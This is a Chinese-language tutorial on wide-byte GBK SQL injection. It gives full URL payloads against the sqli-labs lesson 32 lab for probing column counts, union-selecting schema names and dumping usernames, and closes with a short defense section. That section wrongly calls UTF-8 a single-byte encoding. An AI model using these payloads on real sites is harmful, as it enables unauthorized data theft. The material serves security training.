宽字节注入详细分析
字数 1383 2025-08-11 21:26:18
宽字节注入深度解析与实战指南
一、宽字节注入基础概念
1.1 编码背景
- MySQL默认使用GBK编码(部分环境)
- GBK编码特性:
- 汉字编码:两个字节代表一个汉字
- 英文/数字编码:一个字节代表一个字符
- 当第一个字节的ASCII码 > 128时,会与后续字节组合形成汉字
1.2 核心原理
宽字节注入利用MySQL的GBK编码特性,通过精心构造的输入使转义符\(%5C)与前一个字符组合形成合法汉字,从而"吃掉"转义符,破坏原有的SQL语句结构。
二、漏洞形成条件
- 数据库编码:MySQL使用GBK等多字节编码
- 转义处理:PHP对输入参数进行转义处理(常见函数):
mysql_real_escape_string()mysql_escape_string()addslashes()magic_quotes_gpc()
三、漏洞原理详解
3.1 正常注入流程
- 原始输入:
?id=1' and 1=1%23 - 转义后SQL:
select * from user where id='1\' and 1=1#' - 结果:注入失败,单引号未闭合
3.2 宽字节注入流程
- 构造输入:
?id=1%DF' and 1=1%23 - 转义处理:
- 单引号被转义为
\'(%5C%27) - 完整URL编码:
%DF%5C%27
- 单引号被转义为
- GBK解码:
- %DF%5C组合成汉字"運"
- 最终SQL:
select * from user where id='1運' and 1=1#'
- 结果:单引号成功闭合,注入生效
四、实战测试步骤(以sqli-lib-32为例)
4.1 注入点探测
- 基础测试:
?id=1'→ 观察是否被转义 - 宽字节测试:
?id=1%DF'%23→ 确认是否报错变化
4.2 完整注入流程
步骤1:确定字段数
?id=1%df' order by 3%23
- 通过递增order by值确定字段数
步骤2:联合查询确定回显位
?id=-1%df' union select 1,2,3%23
- 让前查询返回空(id=-1)
- 观察数字回显位置
步骤3:爆数据库名
?id=-1%df' union select 1,group_concat(database()),3%23
步骤4:爆表名(需绕过引号过滤)
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
- 将"security"转为16进制:0x7365637572697479
- 避免使用引号触发转义
步骤5:爆字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273%23
- "users"转为16进制:0x7573657273
步骤6:爆数据
?id=-1%df' union select 1,group_concat(username),3 from security.users%23
- 注意:若使用
mysql_fetch_array()需分批获取数据
五、关键绕过技术
5.1 十六进制编码绕过
- 应用场景:当引号被转义时
- 示例:
- "security" → 0x7365637572697479
- "users" → 0x7573657273
5.2 注释符使用
%23(#的URL编码):注释后续语句- 关键作用:消除原始SQL中的后续单引号
六、防御方案
- 统一字符集:使用UTF-8等单字节编码
- 参数化查询:使用PDO/prepared statements
- 双重防御:
- 设置
character_set_client=binary - 结合转义函数使用
- 设置
- 过滤特殊字符:严格校验输入格式
七、注意事项
- 并非所有GBK字符都能形成有效组合,需测试特定字符
- 实际环境中需考虑:
- PHP版本差异
- MySQL配置差异
- 多层编码转换情况
- 现代PHP版本已弃用部分转义函数,但遗留系统仍需防范
通过深入理解宽字节注入原理和掌握这些实战技巧,安全人员可以更有效地测试和防御这类漏洞。